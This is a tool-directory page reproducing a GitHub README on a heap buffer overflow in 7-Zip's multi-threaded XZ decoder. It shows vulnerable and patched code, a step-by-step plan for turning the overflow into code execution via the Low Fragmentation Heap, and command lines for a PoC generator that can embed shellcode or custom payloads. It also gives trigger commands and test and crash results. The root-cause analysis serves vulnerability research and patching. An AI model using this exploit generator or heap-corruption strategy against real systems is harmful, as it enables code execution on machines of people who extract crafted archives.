Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-14266 — 7-Zip XZ Decoder Heap Buffer Overflow - Full analysis, root cause, PoC, and RCE exploitation roadmap | Kitploit
Tools/GitHubGitHub/liyuxuan504-byte/cve-2026-14266
Memory ForensicsVulnerability AnalysisCode AnalysisExploitationReverse EngineeringShellcodeDebuggersBinary AnalysisPayload DevelopmentBinary Exploitation
GitHubliyuxuan504-byte/cve-2026-14266
1172 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-14266

7-Zip XZ Decoder Heap Buffer Overflow - Full analysis, root cause, PoC, and RCE exploitation roadmap

View Repository

CVE-2026-14266 — 7-Zip XZ Decoder Heap Buffer Overflow

Critical Severity | CVSS: 8.8 (High) | CWE-122: Heap-based Buffer Overflow
Affected: 7-Zip ≤ 26.01 | Patched: 7-Zip 26.02 (2026-06-25)
Discovered & Analyzed by: Li Yuxuan (liyuxuan504-byte) and team


Executive Summary

A heap buffer overflow exists in the multi-threaded XZ decoder path of 7-Zip versions ≤ 26.01. A maliciously crafted .xz archive can trigger an out-of-bounds write past the heap-allocated output buffer, leading to:

  • Denial of Service (confirmed) — reliable crash with STATUS_ACCESS_VIOLATION (0xC0000005)
  • Remote Code Execution (potential) — controlled heap overflow enables function pointer / vtable corruption under the right heap layout conditions

The vulnerability resides in MixCoder_Code() in C/XzDec.c, where the SingleBuf (outBuf) branch passes an unchecked destLen2 to the LZMA2 decoder without clamping it against the remaining buffer capacity (outBufSize - outWritten).

Any system or application that uses a vulnerable 7-Zip (or 7z.dll) to extract untrusted .xz files is at risk — the multi-threaded path is enabled by default on multi-core systems.


Vulnerability Deep Dive

Affected Code Path

XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
  → MixCoder_Code(outBuf branch, p->outBuf != NULL)
    → destLen2 = destLenOrig          // ← NO boundary clamp
    → Lzma2State_Code2(..., &destLen2)
      → dicLimit = dicPos + destLen2  // ← can exceed dicBufSize
        → Lzma2Dec_DecodeToDic(...)
          → LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
            → dicPos exceeds dicBufSize → HEAP OVERFLOW

Root Cause (26.01 vs 26.02)

Vulnerable (26.01) — C/XzDec.c ~L606:

if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // ← raw value, no clamping!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // ← tracks total but never checks
}

Fixed (26.02) — C/XzDec.c ~L605:

if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // ★ NEW boundary check
        if (destLen2 < p->outWritten)
            return SZ_ERROR_FAIL;        // data inconsistency → abort
        destLen2 -= p->outWritten;       // clamp to remaining capacity!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}

The fix is 3 lines. It subtracts p->outWritten (bytes already written to this outBuf) from destLen2 before passing it to the LZMA2 decoder, ensuring the decoder can never write beyond the allocated buffer.

Why Multi-Threaded Only?

In the single-threaded path, XzUnpacker_Code applies its own unpackSize-based rem clamp before calling MixCoder_Code. This clamp correctly limits output. The multi-threaded SingleBuf path bypasses this clamp because it passes destLenOrig straight through — the upstream clamp is ineffective when destLen is pre-set to the full remaining input size rather than the actual buffer remaining capacity.


Exploitation Analysis

Heap Allocation Behavior

The outBuf is allocated on the CRT heap via ISzAlloc_Alloc(allocMid, unpackSize):

unpackSizeAllocatorExploitability
≤ 16 KBLFH (Low Fragmentation Heap)★ Best for RCE — adjacent objects in same bucket
16–64 KBSegment Heap (Backend)Possible — free-list corruption
≥ 64 KBVirtualAlloc (page-aligned)DoS only — guard page traps overflow

RCE Strategy (LFH Path)

The most promising exploitation approach:

  1. Use small unpackSize (256–16384 bytes) to trigger LFH allocation
  2. Overflow past outBuf into adjacent LFH subsegments
  3. Corrupt LFH free-list next pointer → achieves arbitrary-alloc primitive
  4. Allocate onto a target (function pointer, vtable, return address)
  5. Trigger the corrupted pointer → code execution

Current Status

CapabilityStatus
DoS (crash)✅ Confirmed, reliable on 7-Zip 26.00 x64
Silent heap overflow (LFH)✅ Confirmed — writes past buffer, exit code 2, no crash
Controlled payload delivery✅ Fully controllable via LZMA2 copy-chunk data
Heap layout primitives✅ Concept proven — requires target-specific layout tuning
Full RCE chain❌ In progress — needs heap layout analysis on target

Why Debugging Is Tricky

Conventional debuggers (x64dbg, WinDbg) alter process creation behavior. Under a debugger, 7z.dll may never load the multi-threaded XZ path — the process silently falls back to single-threaded mode where the vulnerability does not trigger. The approach required:

  • Launch 7z.exe outside the debugger
  • Attach within 1–2 seconds (before the crash)
  • Or use a custom mini-debugger (provided in tools/)

PoC Generator

poc/poc-cve-2026-14266-rce.py is a full-featured XZ exploit generator:

Quick Start

# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz

Key Parameters

ParameterDescriptionRecommended
--unpack-sizeBlock declared unpackSize (= outBuf allocation size)256–4096 for LFH RCE
--overflowTotal bytes to write past outBuf4096–32768
--chunk-sizeLZMA2 copy-chunk data size (1–65535)Must NOT divide unpackSize evenly! Use prime (97) or --force-align-overflow
--payload-cyclicCyclic pattern for offset discoveryUse first, then replace with real payload
--payload-shellcodeEmbed Win x64 WinExec("calc.exe") shellcode~276 bytes

Trigger

# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL

# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL

Test Results

Tested on: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00

unpackSizechunk_sizeOverflowResult
256 KB (0x40000)4096 (aligned)~32 KB0xC0000005 — Access Violation (guard page)
256 KB3 (original DoS)~30 KB0xC0000005 — Access Violation
256 KB4096~32 KB0xC0000374 — Heap Corruption detected
256 B97~1 KBExit 2 — Silent overflow!
4 KB97~16 KBExit 2 — Silent overflow!
16 KB97~32 KBExit 2 — Silent overflow!

Key insight: All LFH-range (≤16 KB) allocations produce silent overflows — payload data is written onto adjacent heap objects without an immediate crash. This is the prerequisite for RCE exploitation.


Crash Point (Live Debugging)

From a live x64dbg session (7-Zip 26.00, MT path):

Fault instruction:  mov byte ptr [rcx], r11b
Fault address:      msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx):     0x12363C50002 = outBuf_base + 0x40002
                    (2 bytes past the 0x40000-byte outBuf)

Decoder struct (rbx = 0x12363B0BB00):
  +0x28: outBuf base   = 0x12363C10000
  +0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
  +0x38: write cursor  = 0x40000 (ALREADY FULL when overflow begins)
Download Tool